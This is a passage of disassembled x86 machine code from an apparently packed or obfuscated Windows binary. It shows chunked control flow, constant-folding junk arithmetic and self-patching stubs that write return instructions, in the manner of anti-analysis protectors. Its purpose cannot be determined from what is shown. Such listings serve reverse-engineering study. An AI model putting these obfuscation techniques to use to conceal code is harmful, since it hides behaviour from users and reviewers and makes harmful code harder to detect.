; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_4491F9:				; CODE XREF: sub_43DF5B:loc_43AE56j
					; sub_43B0B7+8798j
		jmp	sub_440F62
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

loc_4491FE:				; DATA XREF: kgbikm34:004425B7o
		and	ebp, [ebx+5]
		inc	esp
		retf	4150h
; ---------------------------------------------------------------------------
		xchg	eax, edx
		xor	esp, [esi+ebp-74h]
		db	36h
		mov	cl, 0
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_44920D:				; CODE XREF: sub_4441EB-23EFj
		jmp	loc_43A71B
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------

loc_449212:				; CODE XREF: kgbikm34:0043D663j
		jmp	loc_44113A
; ---------------------------------------------------------------------------
		jno	loc_43C658
		jmp	loc_44A191
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_449222:				; CODE XREF: sub_441D2F+69A3j
		js	loc_447C56
		jmp	loc_43E6FE
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_44922D:				; CODE XREF: sub_439003:loc_43FC14j
		pop	eax
		xor	eax, ds:4000F3h
		sub	eax, 6E5D0BC8h
		and	eax, 0F8F98659h
		test	eax, 200h
		jmp	loc_4427E5
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442551

loc_44924B:				; CODE XREF: sub_442551+2DC1j
		push	offset loc_43C6F2
		jmp	loc_443931
; END OF FUNCTION CHUNK	FOR sub_442551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_449255:				; CODE XREF: sub_43DF5B-5068j
					; sub_4474D5+4A72j
		xor	esi, 1FCC06D6h
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44925B:				; CODE XREF: sub_4474D5:loc_442D63j
		push	eax
		mov	eax, ecx
		call	sub_44DE4C
		sbb	edx, 0F43F8AD2h
		jmp	loc_43D575
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_44926E:				; CODE XREF: kgbikm34:0044A89Aj
		add	edi, edx
		test	esi, edi
		jmp	loc_43EF6E
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44927D:				; CODE XREF: sub_4474D5-4F94j
		jmp	nullsub_231
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_449282:				; CODE XREF: sub_4494B1-A2D7j
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_4494B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_340. PRESS KEYPAD	"+" TO EXPAND]
		dd 5DE82h, 48B5A00h, 5B685224h,	0E9004468h, 0FFFFCC3Ah
; ---------------------------------------------------------------------------

loc_44929C:				; CODE XREF: kgbikm34:0043938Bj
		pop	ecx
		sub	ecx, 0D0121A8Dh
		rol	ecx, 9
		and	ecx, 0D00DB93Ch
		add	ecx, 7035D0A0h
		mov	[ecx], eax
		jmp	loc_44BB95

; =============== S U B	R O U T	I N E =======================================



sub_4492B9	proc near		; CODE XREF: kgbikm34:00442909j
					; sub_43EB3F+7B09p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AE41 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004407B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A70 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044A274 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D769 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 6F05C3EFh
		mov	eax, [eax]
		jmp	loc_448A70
sub_4492B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4492CA:				; CODE XREF: kgbikm34:loc_443F86j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_4492CB:				; CODE XREF: sub_43F524-4F32j
		jmp	loc_437970
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------

loc_4492D0:				; CODE XREF: kgbikm34:00438FC8j
		jmp	loc_44AC25
; ---------------------------------------------------------------------------

loc_4492D5:				; CODE XREF: kgbikm34:loc_43D823j
		jz	loc_44A944
		cmp	ebx, 0F80DC598h
		jmp	loc_445C1D
; ---------------------------------------------------------------------------
		mov	esi, 5D078F1Ch
		xchg	ecx, [edx]
		jmp	sub_44CE6B
; ---------------------------------------------------------------------------

loc_4492F2:				; CODE XREF: kgbikm34:00446015j
					; kgbikm34:loc_44BA90j
		push	esi
		push	0EA13B83Bh

loc_4492F8:				; CODE XREF: kgbikm34:0044B8E0j
		pop	esi
		xor	esi, 63150919h
		or	esi, 9FDF4458h
		test	esi, 4000h
		jmp	loc_440EA3
; ---------------------------------------------------------------------------

locret_449310:				; CODE XREF: kgbikm34:0043CD3Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_449311:				; CODE XREF: sub_44D21F-364Bj
		jmp	nullsub_358
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		mov	ds:off_41E20C, eax
		lea	eax, loc_448F07
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_449325:				; CODE XREF: sub_440E0B:loc_43D362j
		jmp	loc_44D076
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44932A:				; CODE XREF: sub_43B0B7:loc_448F07j
		xchg	esi, [esp-8+arg_4]
		push	esi
		pop	edx
		xchg	edi, [esp-8+arg_4]
		jmp	loc_44583E
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		mov	esi, [eax]
		jmp	sub_44DA54
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44933F	proc near		; CODE XREF: kgbikm34:004373ADp
					; kgbikm34:00437AF1j
		xchg	eax, [esp+0]
		pop	eax
		shr	eax, 6
		push	offset loc_44D6DD
		jmp	nullsub_312
sub_44933F	endp

; ---------------------------------------------------------------------------
		push	4345051Dh
		pop	esi
		jmp	sub_44B34A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44935C:				; CODE XREF: kgbikm34:00446CD8j
		jmp	loc_43A69A
; ---------------------------------------------------------------------------

loc_449361:				; CODE XREF: kgbikm34:loc_43BBAEj
					; kgbikm34:004420E6j
		mov	eax, [esp]
		call	sub_44A9F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_44936A:				; CODE XREF: sub_44C198-A593j
		jmp	loc_446461
; END OF FUNCTION CHUNK	FOR sub_44C198
; ---------------------------------------------------------------------------
		shl	ecx, 0Fh
		jmp	sub_43DFB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_449377:				; CODE XREF: sub_4441EB:loc_4417A7j
		jge	loc_43AF44
; END OF FUNCTION CHUNK	FOR sub_4441EB
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44937D:				; CODE XREF: sub_43B1D6+C94Cj
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B476

loc_449382:				; CODE XREF: sub_43B476+7j
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_43B476
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_449387:				; CODE XREF: sub_43D114-3C95j
		jmp	loc_43915D
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
		test	edi, 52EED3F1h
		jmp	loc_43BB6E
; ---------------------------------------------------------------------------

loc_449397:				; CODE XREF: kgbikm34:0044A62Aj
		sub	esi, 0E45D3250h
		rol	esi, 11h
		add	esi, 5FDB44F4h
		xchg	esi, [esp]
		jmp	sub_43C7C6
; ---------------------------------------------------------------------------

loc_4493AE:				; CODE XREF: kgbikm34:0044CCF4j
		call	sub_43BF6F
		mov	ds:dword_41E0C4, eax
		lea	eax, nullsub_307
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_307
; ---------------------------------------------------------------------------

loc_4493C7:				; CODE XREF: kgbikm34:0044CCE0j
		mov	eax, [esp]
		push	edx
		push	ebx
		push	43970933h
		jmp	loc_43EA00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_4493D6:				; CODE XREF: sub_44C198:loc_4397DDj
		and	edi, 0D78AE918h
		add	edi, 0BCC33FEAh
		xchg	edi, [esp+0]
		jmp	loc_446143
; END OF FUNCTION CHUNK	FOR sub_44C198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_4493EA:				; CODE XREF: sub_43EB8F:loc_447AB4j
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+8+var_8]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jo	loc_43F58A
		jmp	loc_441D74
; END OF FUNCTION CHUNK	FOR sub_43EB8F

; =============== S U B	R O U T	I N E =======================================



sub_449405	proc near		; CODE XREF: kgbikm34:00438DCFj
					; kgbikm34:004421E0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A092 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0043D051 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441569 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044528C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0044BAA9 SIZE 0000000E BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		jo	loc_44BAA9
		mov	eax, [esp+0]
		push	edx
		jmp	loc_44528C
sub_449405	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449418:				; CODE XREF: kgbikm34:00448A25j
		cdq
		and	esi, eax
		test	edi, 88AC5B7h
		jmp	loc_4402F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_449426:				; CODE XREF: sub_439BDE+9422j
		jno	loc_441007

loc_44942C:				; CODE XREF: sub_439BDE:loc_43AD15j
		mov	eax, [esp+4+var_4]

loc_44942F:				; CODE XREF: kgbikm34:0043E5CEj
		push	edx
		push	1922BB94h
		pop	edx

loc_449436:				; CODE XREF: kgbikm34:0043F49Bj
		and	edx, 44E24152h
		xor	edx, 6F663FE6h
		add	edx, 90FFBFACh
		jmp	loc_449DA9
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_44944D:				; CODE XREF: sub_443622+39AAj
		add	eax, [ebp-4]
		call	sub_448FE9

loc_449455:				; CODE XREF: sub_43F4C9+AB4Ej
		push	0E72DD1A0h
		adc	edi, 10F50E62h

loc_449460:				; CODE XREF: kgbikm34:0043EE79j
		mov	ecx, ebp
		popf
		jmp	loc_44E193
; END OF FUNCTION CHUNK	FOR sub_443622
; ---------------------------------------------------------------------------

loc_449468:				; CODE XREF: kgbikm34:loc_445438j
		sub	eax, 0A737C191h
		jnz	loc_43CB6F

loc_449474:				; CODE XREF: kgbikm34:00441DD9j
		jmp	locret_43CAAA
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_43CB68
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_437475
		jmp	loc_442D85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_44948C:				; CODE XREF: sub_441B24+5450j
		jz	loc_43C71A

loc_449492:				; CODE XREF: sub_441B24:loc_4442C2j
		push	dword ptr [ebp+10h]

loc_449495:				; CODE XREF: kgbikm34:0044A165j
		push	edi
		rol	edi, 0Ah
		jmp	loc_43AD37
; END OF FUNCTION CHUNK	FOR sub_441B24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4ED

loc_44949E:				; CODE XREF: sub_43F4ED+7j
		mov	large fs:0, esp
		push	ebx
		push	0AA73C885h
		pop	ebx
		jmp	loc_44D39C
; END OF FUNCTION CHUNK	FOR sub_43F4ED

; =============== S U B	R O U T	I N E =======================================



sub_4494B1	proc near		; CODE XREF: kgbikm34:0043A174j
					; sub_443DF0+147Ap

; FUNCTION CHUNK AT 004370AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004377B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439B07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A057 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B8CC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C59E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D7FA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043F1D3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044358A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004451A9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004454F9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00446D33 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044882A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00448BF2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449282 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D8C8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044DCA2 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		mov	al, [eax]
		js	loc_44882A
		sub	al, 99h
		push	7D3FCB39h
		jmp	loc_43A057
sub_4494B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4494CC:				; CODE XREF: kgbikm34:004422A3j
		jz	loc_44BF3B
		jmp	loc_43FB8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_4494D7:				; CODE XREF: sub_449D78-6392j
		jl	loc_43EEAE

loc_4494DD:				; CODE XREF: sub_444240-7A50j
		jmp	loc_43AD6C
; ---------------------------------------------------------------------------

loc_4494E2:				; CODE XREF: sub_449D78-11681j
		jmp	sub_446779
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		test	ebp, 1B2ADAF9h
		jmp	loc_443134
; ---------------------------------------------------------------------------
		push	60BFF928h
		pop	eax
		sub	eax, ds:4000F5h
		test	eax, 800000h
		jmp	loc_44CFF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_449509:				; CODE XREF: sub_43C167:loc_442929j
		jz	loc_449CA2
		jmp	loc_44574D
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD86

loc_449514:				; CODE XREF: sub_43FD86+3j
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		push	offset loc_448B79
		jmp	loc_448280
; END OF FUNCTION CHUNK	FOR sub_43FD86
; ---------------------------------------------------------------------------
		call	sub_447ED1
; START	OF FUNCTION CHUNK FOR sub_437A59

loc_449529:				; CODE XREF: sub_437A59+14B4Cj
		jmp	sub_44B5E4
; END OF FUNCTION CHUNK	FOR sub_437A59
; ---------------------------------------------------------------------------

locret_44952E:				; CODE XREF: kgbikm34:loc_44B91Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B958

loc_44952F:				; CODE XREF: sub_43B958+10F7Fj
		jmp	loc_4480D4
; END OF FUNCTION CHUNK	FOR sub_43B958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43705D

loc_449534:				; CODE XREF: sub_43705D+5j
		jmp	loc_44043D
; END OF FUNCTION CHUNK	FOR sub_43705D
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44953F:				; CODE XREF: sub_43BCAD+7F62j
		jmp	loc_446054
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_308. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	[ebp+5AFFFF9Fh], al
		mov	eax, [esp]
		push	edx
		call	sub_43F3F8
		mov	eax, 24CC2B1h
		call	sub_43BF6F
		jmp	loc_449B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_449563:				; CODE XREF: sub_43CAB5:loc_441938j
		push	14A40F3Ch
		pop	ecx
		rol	ecx, 14h
		xor	ecx, 11F42443h
		rol	ecx, 1Fh
		jmp	loc_442FA6
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------

loc_44957A:				; CODE XREF: kgbikm34:0044D4C4j
		call	sub_43A4CE
		mov	eax, 0D1CB0F56h
		call	sub_43BF6F
		push	esi
		push	offset sub_44647B
		jmp	loc_438B94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_449594:				; CODE XREF: sub_444002:loc_441EA3j
		mov	ecx, [esi]
		jmp	loc_448EC9
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1F9

loc_44959B:				; CODE XREF: sub_44A1F9-4585j
		jg	loc_44B5B6
; END OF FUNCTION CHUNK	FOR sub_44A1F9
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_4495A1:				; CODE XREF: sub_43E34D-5B2j
					; kgbikm34:loc_4433A6j	...
		jmp	loc_440544
; ---------------------------------------------------------------------------

loc_4495A6:				; CODE XREF: sub_43E34D:loc_4424C6j
					; sub_44A1F9+Aj
		xchg	edi, [esp+0]
		mov	ecx, edi
		xchg	ecx, [esp+0]
		mov	edi, ecx
		jmp	loc_43A3E7
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_4495B5:				; CODE XREF: sub_44A1A6:loc_438DDAj
		jz	loc_445BB1

loc_4495BB:				; CODE XREF: sub_448C95+46B4j
		jmp	loc_43B0EA
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_4495C0:				; CODE XREF: sub_4440CD+3CABj
		jmp	loc_43CF06
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------

loc_4495C5:				; CODE XREF: kgbikm34:004442BDj
		jmp	loc_43F8B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_4495CA:				; CODE XREF: sub_43AB97+7D05j
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_4495CF:				; CODE XREF: sub_43DF5B-34j
		jmp	loc_43E93A
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
		popf
		test	esi, 0D9950B1Eh
		jmp	loc_44AAF3
; ---------------------------------------------------------------------------

loc_4495E0:				; CODE XREF: kgbikm34:loc_44676Fj
		jz	loc_43D084
		jmp	loc_4469E2
; ---------------------------------------------------------------------------
		test	ebp, 8A2D4029h
		jmp	loc_43F8E8

; =============== S U B	R O U T	I N E =======================================



sub_4495F6	proc near		; CODE XREF: sub_448C95:loc_442A8Ap
					; kgbikm34:004450C2j
		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_4487F2
		push	eax
		ror	eax, 0Ah
		mov	ds:dword_4480B4, eax
		retn
sub_4495F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFD

loc_44960A:				; CODE XREF: sub_43FDFD+10j
		jmp	loc_446289
; END OF FUNCTION CHUNK	FOR sub_43FDFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44960F:				; CODE XREF: sub_448C95-4F05j
		rol	eax, 0Ah
		jmp	sub_441675
; END OF FUNCTION CHUNK	FOR sub_448C95

; =============== S U B	R O U T	I N E =======================================



sub_449617	proc near		; CODE XREF: kgbikm34:0043FCE1j
					; sub_439D4B:loc_4409A7p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00448F28 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	offset sub_448AC9
		jmp	loc_448F28
sub_449617	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449629	proc near		; CODE XREF: sub_4424F7:loc_44C171j
		retn
sub_449629	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A7FA

loc_44962A:				; CODE XREF: sub_44A7FA+Ej
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_44A7FA

; =============== S U B	R O U T	I N E =======================================



sub_44962F	proc near		; CODE XREF: kgbikm34:0043F8FFp
					; kgbikm34:00440982j ...
		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_41E100, eax
		lea	eax, nullsub_341
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_341
sub_44962F	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_449648:				; CODE XREF: sub_44B20C-96EDj
		jmp	loc_43EEDD
; END OF FUNCTION CHUNK	FOR sub_44B20C

; =============== S U B	R O U T	I N E =======================================



sub_44964D	proc near		; DATA XREF: sub_44AD73-5DFDo

; FUNCTION CHUNK AT 0043D158 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043DD05 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440029 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044029B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004420BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443336 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447612 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044973B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449F90 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044B862 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044DFAB SIZE 00000012 BYTES

		push	87D1240Eh
		pop	esi
		and	esi, 5122060Bh
		xor	esi, 960DA38Ch
		add	esi, 0B819C666h
		cmp	esi, 0CB916033h
		jmp	loc_44973B
sub_44964D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449670:				; DATA XREF: kgbikm34:0044AE3Ao
		add	ecx, 23203857h
		popf
		xchg	ecx, [esp]
		jmp	loc_4434B8
; ---------------------------------------------------------------------------
		push	esi
		push	9599AE52h
		jmp	loc_447BD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_44968A:				; CODE XREF: sub_43B932+434Cj
		xor	ebx, 7BDDBC7Ch
		call	sub_44C607

loc_449695:				; CODE XREF: kgbikm34:004483A3j
		jmp	loc_444B51
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_44969A:				; CODE XREF: sub_4446F8+6DBj
		jmp	loc_44297C
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------

loc_44969F:				; CODE XREF: kgbikm34:0043F9B6j
		jmp	loc_43C6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE70

loc_4496A4:				; CODE XREF: sub_44DE70-EEB1j
		jmp	nullsub_281
; END OF FUNCTION CHUNK	FOR sub_44DE70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_4496A9:				; CODE XREF: sub_4471D6-5737j
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]

loc_4496B2:				; CODE XREF: sub_44535D+Ej
		and	eax, 0FFh
		mov	eax, ds:dword_437F5C[eax*4]
		mov	[ebp-8], eax

loc_4496C1:				; CODE XREF: sub_4471D6-2B04j
					; sub_4471D6-1E62j
		jo	loc_440859
		test	byte ptr [ebp-8], 2
		jmp	loc_4430B8
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_4496D0:				; CODE XREF: kgbikm34:004409A2j
		push	ebp
		not	ebp

loc_4496D3:				; CODE XREF: kgbikm34:loc_440993j
		push	offset sub_44B894
		jmp	locret_444444
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_4496DD:				; CODE XREF: sub_43B1D6:loc_44214Dj
					; kgbikm34:0044396Aj
		pop	ebx
		call	sub_43E34D

loc_4496E3:				; CODE XREF: sub_43D494:loc_441E67j
		jz	loc_44DBF4

loc_4496E9:				; CODE XREF: kgbikm34:0043D5FCj
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_4496EE:				; CODE XREF: kgbikm34:0043A97Cj
		jmp	loc_438463
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_44DBEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_4496F9:				; CODE XREF: sub_441EBE+5j
		push	0F9490B12h
		pop	esi
		add	esi, 56F7A4EEh
		sub	esi, 5FDA6F79h
		add	esi, 0FDDB620h
		popf
		xchg	esi, [esp-0Ch+arg_8]
		jmp	loc_44AB28
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		push	esi
		push	offset loc_44779A
		jmp	locret_44DF37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4445C7

loc_449725:				; CODE XREF: sub_4445C7:loc_444061j
		add	eax, ebp
		call	sub_445CE9
; END OF FUNCTION CHUNK	FOR sub_4445C7
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_44972C:				; CODE XREF: sub_447FC7-378Bj
		jmp	loc_4393F6
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4BD

loc_449731:				; CODE XREF: sub_43A4BD+4A54j
		jmp	loc_44D454
; END OF FUNCTION CHUNK	FOR sub_43A4BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_449736:				; CODE XREF: sub_43F5F7-6729j
		jmp	loc_4416B0
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_44973B:				; CODE XREF: sub_44964D+1Ej
		jge	loc_44B862
; END OF FUNCTION CHUNK	FOR sub_44964D
; START	OF FUNCTION CHUNK FOR sub_440488

loc_449741:				; CODE XREF: sub_440488+679Aj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439924

loc_449746:				; CODE XREF: sub_439924+3CEEj
		jmp	loc_44440D
; END OF FUNCTION CHUNK	FOR sub_439924
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E761E92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_449752:				; CODE XREF: sub_441819-A7DAj
		add	eax, ebp
		add	eax, 2549E33h
		mov	eax, [eax]
		push	eax
		jmp	loc_442F46
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------

loc_449762:				; CODE XREF: kgbikm34:0044ACC1j
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_193
		mov	byte ptr [eax],	0C3h
		push	esi
		jmp	loc_44BD7B
; ---------------------------------------------------------------------------

loc_449774:				; CODE XREF: kgbikm34:loc_448080j
		jz	loc_43D401
		jmp	loc_440792
; ---------------------------------------------------------------------------

loc_44977F:				; CODE XREF: kgbikm34:0044A0D2j
		or	ebp, ebx
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_449781:				; CODE XREF: sub_43E4C0:loc_44A0B5j
		and	ecx, 50DFCCD0h
		add	ecx, 0FFE39484h
		mov	[ecx], eax
		jmp	loc_449094
; END OF FUNCTION CHUNK	FOR sub_43E4C0

; =============== S U B	R O U T	I N E =======================================



sub_449794	proc near		; DATA XREF: sub_4478A8:loc_448377o

; FUNCTION CHUNK AT 00444C68 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449E8E SIZE 00000015 BYTES

		push	1ABD52B9h
		not	ebx
		jmp	loc_449E8E
sub_449794	endp

; ---------------------------------------------------------------------------
		mov	edx, 0DD5E106Fh
		push	eax
		push	offset sub_44B991
		jmp	locret_43D6C7
